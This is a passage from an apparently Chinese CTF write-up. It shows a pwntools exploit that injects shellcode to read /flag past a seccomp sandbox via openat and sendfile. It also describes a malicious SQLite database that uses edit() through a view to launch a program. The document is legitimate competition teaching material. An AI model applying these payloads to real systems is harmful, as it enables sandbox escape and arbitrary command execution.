r.sendline(encrypt(b'pass'))
print(decrypt(r.recvline()).decode())

r.sendline(encrypt(b'3'))
print(decrypt(r.recvline()).decode())

shellcode = '''
mov ecx,9
mov eax,ecx
mov edi,0
mov esi,0xa000
mov edx,7
mov ecx,0x22
mov r10d,ecx
syscall
add rax, 0x5000

mov rbx,rax
jmp $+2
xchg rbx,rbp
mov rbx,rax
xchg rbx,rsp
sub rax,0x5000

mov rbx,rax



mov ecx,'/'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'f'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'l'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'a'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx,'g'
mov [rbx],cl
jmp $+2
inc rbx

mov ecx, 0
mov [rbx],cl
jmp $+2
inc rbx
jmp $+2

mov rbx,rax
jmp $+2
xchg rsi,rbx
jmp $+2
mov ecx,0
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0
jmp $+2
mov edx,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,257
jmp $+2
mov eax,ecx
jmp $+2
syscall

mov ecx,0

jmp $+2
mov esi,ecx
jmp $+2
mov ecx,1
jmp $+2
mov edi,ecx
jmp $+2
mov ecx,0x30
mov r10d,ecx

mov ecx,40
mov eax,ecx
mov ecx,0
mov edx,ecx
syscall
'''
gdb.attach(r)
r.sendline(encrypt(asm(shellcode)))

print(r.recvline())
print(decrypt(r.recvline()).decode())
while True:
inp = input('$')
if inp == 'exit':
break
r.sendline(encrypt(inp.encode()))
b = r.recvline()
print(decrypt(b).decode())
r.interactive()

最终也是直接拿到 flag

这道题只能 patch 沙箱的配置文件,一共 10 个 ban 位,openat 加白了,原生 orw 天然 ban 位,主要禁止的地方是读取文件,以下系统调用都能够读取文件。

  • mmap
  • read
  • readv
  • pread64
  • preadv
  • preadv2
  • splice
  • sendfie
  • io_uring
  • io_setup

总的来说,这题的质量还是非常高的,虽然比赛被折磨的很难受吧)

RW

TrustSQL

题目文档:

题目名称:trustSQL

旗帜名称:TSTSQ

题目描述:附件中给出了一个Ubuntu虚拟机,该虚拟机与台上靶机内的虚拟机环境完全相同,仅有系统密码不同。请挖掘并利用/home/qwb/sqlite3中的漏洞,构造一个恶意的数据库文件(假设用户完全信任并加载该数据库文件),实现用户在虚拟机中利用sqlite3打开该数据库文件,并执行特定的查询后,能自动弹出系统计算器。上台演示的时候注意关闭exp的调试信息。

附件信息: 附件中的虚拟机与台上靶机内的虚拟机环境完全相同,仅有系统密码不同。附件中虚拟机系统用户名为qwb,密码为admin。

台上拓扑:交换机同时连接选手攻击机和靶机。靶机中使用vmware(最新版)开启附件中提供的虚拟机环境(操作系统Ubuntu,仅系统密码和附件中的虚拟机不同),该虚拟机已在/home/qwb/sqlite3正确安装sqlite3。

展示目标:选手携带自己的攻击机上台,将可以完成漏洞利用的恶意数据库文件上传到自己的HTTP服务器。操作员将在靶机的Ubuntu虚拟机中,下载并利用sqlite3加载选手HTTP服务器上的恶意数据库文件(/home/qwb/sqlite3 malicious.db),然后在sqlite3中依次执行特定的查询命令(PRAGMA trusted_schema = ON; select users from qwbDB;)。在加载数据库并执行特定查询命令后的规定时间内,自动在Ubuntu虚拟机中弹出系统计算器。

题目已经帮忙开启了 PRAGMA trusted_schema = ON,直接用 sqlite3 的 edit 函数,直接执行计算器命令即可。

如果任意执行 SQL 命令,很容易想到

1
select edit('gnome-calculator;','gnome-calculator;');

但是因为它要求只能执行特定查询,所以创建一个视图去触发最终的 payload。

参考文献

后记

其余的题目还在复现中,希望有精力复现吧。。